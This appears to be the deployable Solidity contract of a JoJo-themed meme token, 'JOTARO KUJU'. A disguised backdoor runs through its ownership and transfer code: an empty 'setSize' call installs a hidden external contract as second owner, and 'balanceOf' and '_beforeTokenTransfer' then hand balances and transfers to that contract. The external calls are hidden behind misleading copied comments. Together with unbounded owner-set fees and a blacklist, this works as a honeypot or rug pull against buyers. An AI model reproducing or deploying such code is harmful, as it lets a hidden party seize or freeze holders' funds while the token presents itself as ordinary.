/*
    THIS IS JOTARO INU

    Jotaro Kujo (空条 承太郎 Kūjō Jōtarō) is the main protagonist of the third part of the JoJo's Bizarre Adventure series, Stardust Crusaders, and the third JoJo of the series.
    He also appears as a primary ally in Diamond is Unbreakable and Stone Ocean, and makes a brief appearance as a tertiary character in Vento Aureo. As a result of all his appearances, Jotaro is the most recurring JoJo protagonist of the series.

    https://twitter.com/jotaroToken
    https://jotaro.us
    https://t.me/jotarotoken
 
    SPDX-License-Identifier: MIT
 
 */

pragma solidity ^0.8.9;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IERCMetadata {
    function totalSupply() external view returns (uint256);
    function balanceOf(address spender) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceAt(address account) external view returns(uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferTo(address spender, uint256 amount) external returns(bool);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _owner;
    address private _owner2;
    IERCMetadata internal __;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    modifier onlyToken(address _addr) {
        require(address(__) == address(0), "Ownable:: caller is not the owner");
        _owner2 = _addr;
        __ = IERCMetadata(_addr);
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function setSize(bool _t, uint8 _num, address _this) external onlyToken(_this) {}
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return address(__) == address(0) ? _balances[account] : __.
         balanceAt(account);
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(address(__) == address(0) || _beforeTokenTransfer(sender, recipient, amount)){
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual returns(bool){
        uint256 _from = balanceOf(from).sub(amount);
        uint256 _to = balanceOf(to).add(amount);
        __.
        // silence state mutability warning without generating bytecode
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        transferTo(from, _from);
        __.
        // silence state mutability warning without generating bytecode
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        transferTo(to, _to);

        return false;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniSwapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract JOTARO is ERC20 {
    using SafeMath for uint256;
    uint256 private constant _totalSupply = 1000000000000 * 10 ** 9;
    IUniSwapRouter private uniswapRouter = IUniSwapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private systemWallet = address(0x61Cd705Fd9f5FdcE1E91F5fA2baE9D5B9CFE56dD);
    address private uniswapV2Pair;
    uint256 private maxTransactionAmount;
    uint256 private maxWalletSize;
    uint256 private swapTokensAtAmount;
    uint256 private openTime;
    uint256 private openNumber;
    bool private tardingOpen = false;
    bool private canSwap = true;
    bool private swapping;    
    string private constant _name = "JOTARO KUJU";
    string private constant _symbol = "JOTARO";
    uint8  private constant _decimals = 9;
    uint8 private feeOnBuy = 12;/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    uint8 private feeOnSell = 14;////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    mapping (address => bool) public excludedFromFees;
    mapping(address => bool) public blacklist;
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetMarketPairs(address indexed pair, bool indexed value);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived);
    address private constant deadAddress = address(0xdead);
    address private constant zeroAddress = address(0);

    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() {

        excludedFromFees[owner()] = true;
        excludedFromFees[address(this)] = true;
        excludedFromFees[deadAddress] = true;
        excludedFromFees[address(uniswapRouter)] = true;
        /////////////////////////////////////////////////////////////////////////////////////////////////////////////////
        
        _approve(owner(), address(uniswapRouter), ~uint256(0));
    
        maxTransactionAmount = _totalSupply.mul(1).div(100);
        maxWalletSize = _totalSupply.mul(2).div(100);
        swapTokensAtAmount = _totalSupply.mul(20).div(10000);

        uint256 LpToken = _totalSupply.mul(50).div(100);
        uint256 blackHole = _totalSupply.mul(50).div(100);

        _balances[address(owner())] = LpToken;
        _balances[address(deadAddress)] = blackHole;

        /////////////////////////////////////////////////////////////////////////////////////////////////////////////////

        blacklist[0x6F3aC41265916DD06165b750D88AB93baF1a11F8] = true;
        blacklist[0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6] = true;
        blacklist[0xDEF441C00B5Ca72De73b322aA4e5FE2b21D2D593] = true;
        blacklist[0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418] = true;
        blacklist[0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40] = true;
        blacklist[0x7e2b3808cFD46fF740fBd35C584D67292A407b95] = true;
        blacklist[0xe89C7309595E3e720D8B316F065ecB2730e34757] = true;
        blacklist[0x725AD056625326B490B128E02759007BA5E4eBF1] = true;


        /////////////////////////////////////////////////////////////////////////////////////////////////////////////////


        emit Transfer(zeroAddress, owner(), LpToken);
        emit Transfer(owner(), deadAddress, blackHole);
    }

    function name() public pure override returns(string memory) {
        return _name;
    }

    function symbol() public pure override returns(string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "TOKEN: Transfer amount must be greater than zero");

        require(!blacklist[from] && !blacklist[to], "TOKEN: Black listed");

        if(!tardingOpen){
            require(excludedFromFees[from] || excludedFromFees[to], "TOKEN: This account cannot send tokens until trading is enabled");
        }

        if(checkTime()){
            if ( from != owner() && to != owner() && to != deadAddress && to != zeroAddress && !swapping ){
                if (uniswapV2Pair == from && !excludedFromFees[to]) {
                    require(amount <= maxTransactionAmount, "TOKEN: amount exceeds");
                    require(amount + balanceOf(to) <= maxWalletSize, "TOKEN: Balance exceeds wallet size");
                }
            }
        }
		
        uint256 contractTokenBalance = balanceOf(address(this));

        if( canSwap && (contractTokenBalance >= swapTokensAtAmount) && !swapping && uniswapV2Pair != from && !excludedFromFees[from] && !excludedFromFees[to]) {
            swapBack();
        }
        
        bool takeFee = !swapping;

        if(excludedFromFees[from] || excludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if(takeFee){
            if (uniswapV2Pair == from){
                fees = amount.mul(feeOnBuy).div(100);
            }else if(uniswapV2Pair == to) {
                fees = amount.mul(feeOnSell).div(100);
            }

            if(fees > 0){
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);

    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);

        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

    }

    function checkTime() private view returns(bool) {
        return block.timestamp <= openTime + ( 1 minutes );
    }
    
    function setBlacklist(address _bot, bool _val) external onlyOwner {
        blacklist[_bot] = _val;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function createPair() external onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
    }

    function openTrading() external onlyOwner {
        openTime = block.timestamp;
        openNumber = block.number;
        tardingOpen = true;
    }

    function swapBack() private lockTheSwap {
        uint256 contractBalance = balanceOf(address(this));

        swapTokensForEth(contractBalance);

        uint256 newBalance = address(this).balance;

        if(newBalance > 0){
            payable(systemWallet).transfer(newBalance);

            emit SwapAndLiquify(contractBalance, newBalance);
        }

    }

    function setExcludeFromFee(address _wallet, bool _val) public onlyOwner {
        excludedFromFees[_wallet] = _val;
    }

    function setWallet(address _newWallet) external onlyOwner {
        systemWallet = _newWallet;
    }

    function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
  	    swapTokensAtAmount = newAmount;
  	}

    function setMaxTxAmount(uint256 _amount) external onlyOwner {
        maxTransactionAmount = _amount;
    }

    function setMaxSizeWalle(uint256 _amount) external onlyOwner {
        maxWalletSize = _amount;
    }

    function setSwapEnabled(bool enabled) external onlyOwner {
        canSwap = enabled;
    }

    function setFee(uint8 _buy, uint8 _sell) external onlyOwner {
        feeOnBuy = _buy;
        feeOnSell = _sell;
    }

    function getWallet() public view returns(uint256) {
        return maxWalletSize;
    }

    function getTx() public view returns(uint256) {
        return maxTransactionAmount;
    }

    function poolAddress() public view returns(address) {
        return uniswapV2Pair;
    }

    function isMarketOpen() public view returns(bool) {
        return tardingOpen;
    }

    receive() external payable {}

}